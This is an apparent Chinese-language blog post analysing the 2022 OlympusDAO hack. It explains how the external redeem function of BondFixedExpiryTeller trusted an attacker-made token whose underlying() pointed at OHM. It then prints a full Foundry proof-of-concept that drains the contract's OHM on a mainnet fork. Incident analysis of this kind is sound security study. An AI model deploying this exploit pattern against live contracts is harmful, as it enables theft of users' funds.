{"content":{"title":"OlympusDAO事件分析","body":"# 1、OlympusDao事件简介\r\nhttps://twitter.com/peckshield/status/1583416829237526528\r\n \r\n![1.png](https://img.learnblockchain.cn/attachments/2022/10/jFmEtyXr635a8d58453e8.png)\r\n\r\n# 2、攻击分析\r\n交易：https://phalcon.blocksec.com/tx/eth/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf\r\n\r\n# 3、获利分析\r\n\r\n![2.png](https://img.learnblockchain.cn/attachments/2022/10/pUPESch2635a8da1f133a.png)\r\n \r\n# 4、攻击过程分析\r\n \r\n\r\n![3.png](https://img.learnblockchain.cn/attachments/2022/10/U6enKvV6635a8ddfe0ce7.png)\r\n通过分析交易过程，可以看到攻击合同（0xa29e4fe）先调用了BondFixedExpiryTeller 的redeem 函数，函数最终调用了ERC20代币合约 OHM 的transfer 函数，直接将OHM代币全部转移。\r\n查看问题合约的redeem函数，发现其权限为 external ，攻击者只需要先部署合约设置函数 expiry()、burn()、underlying()，使得满足程序运行条件。因为token_.underlying() 返回的值也是可控的，攻击者直接将其设置为OHM 合约的地址，直接将代币转移。\r\n\r\n![4.png](https://img.learnblockchain.cn/attachments/2022/10/6zkVzoe5635a8e07ba7cc.png)\r\n \r\n\r\n# 5、漏洞复现\r\n漏洞复现代码参考：https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/OlympusDao.exp.sol\r\n\r\n\r\n```\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.10;\r\n\r\nimport \"forge-std/Test.sol\";    \r\nimport \"./interface.sol\";     //包括 ERC20 等常用接口\r\n\r\n\r\n\r\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);   //特殊含义地址，foundry固定\r\naddress constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5;                    //定义相关合约地址\r\naddress constant BondFixedExpiryTeller = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;\r\n\r\ninterface IBondFixedExpiryTeller {                                                    //定义相关接口合约\r\n    function redeem(address token_, uint256 amount_) external;\r\n}\r\n\r\ncontract FakeToken {                                                                  //自定义利用合约，可用于后续使用 new 方法生成新合约\r\n    function underlying() external view returns(address) {\r\n        return OHM;\r\n    }\r\n\r\n    function expiry() external pure returns (uint48 _expiry) {\r\n        return 1;\r\n    }\r\n\r\n    function burn(address,uint256) external {\r\n        // no thing\r\n    }\r\n}\r\n\r\n\r\ncontract AttackContract is Test {                                                    //攻击合约，需继承foudry Test合约\r\n\r\n    function setUp() public {                                                        //设置相关利用环境，可直接使用全局变量 vm \r\n        vm.createSelectFork(\"mainnet\", 15794363);                                    //选择链，设置被攻击前最近区块\r\n        cheat.label(OHM, \"OHM\");                                                     //可设置相关标签，便于查看日志信息\r\n        cheat.label(BondFixedExpiryTeller, \"BondFixedExpiryTeller\");\r\n    }\r\n\r\n    function testExploit() public {\r\n        console.log(\"---------- Start from Block %s ----------\", block.number);      //打印日志信息\r\n        emit log_named_decimal_uint(\"Attacker OHM Balance\", IERC20(OHM).balanceOf(address(BondFixedExpiryTeller)), 9);\r\n\r\n        address fakeToken = address(new FakeToken());                                //创建新合约\r\n        cheat.label(fakeToken, \"FakeToken\");\r\n        // console.log(\"Deploy fake token on \", fakeToken);\r\n        \r\n        IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, IERC20(OHM).balanceOf(address(BondFixedExpiryTeller)));\r\n        console.log(\"Redeeming\");\r\n        emit log_named_decimal_uint(\"Attacker OHM Balance after hack\", IERC20(OHM).balanceOf(address(this)), 9);\r\n        \r\n    }\r\n}\r\n```\r\n \r\n成功获取代币：\r\n\r\n![6.png](https://img.learnblockchain.cn/attachments/2022/10/DDZapccJ635a8e653715f.png)"},"author":{"user":"https://learnblockchain.cn/people/10579","address":null},"history":null,"timestamp":1666879314,"version":1}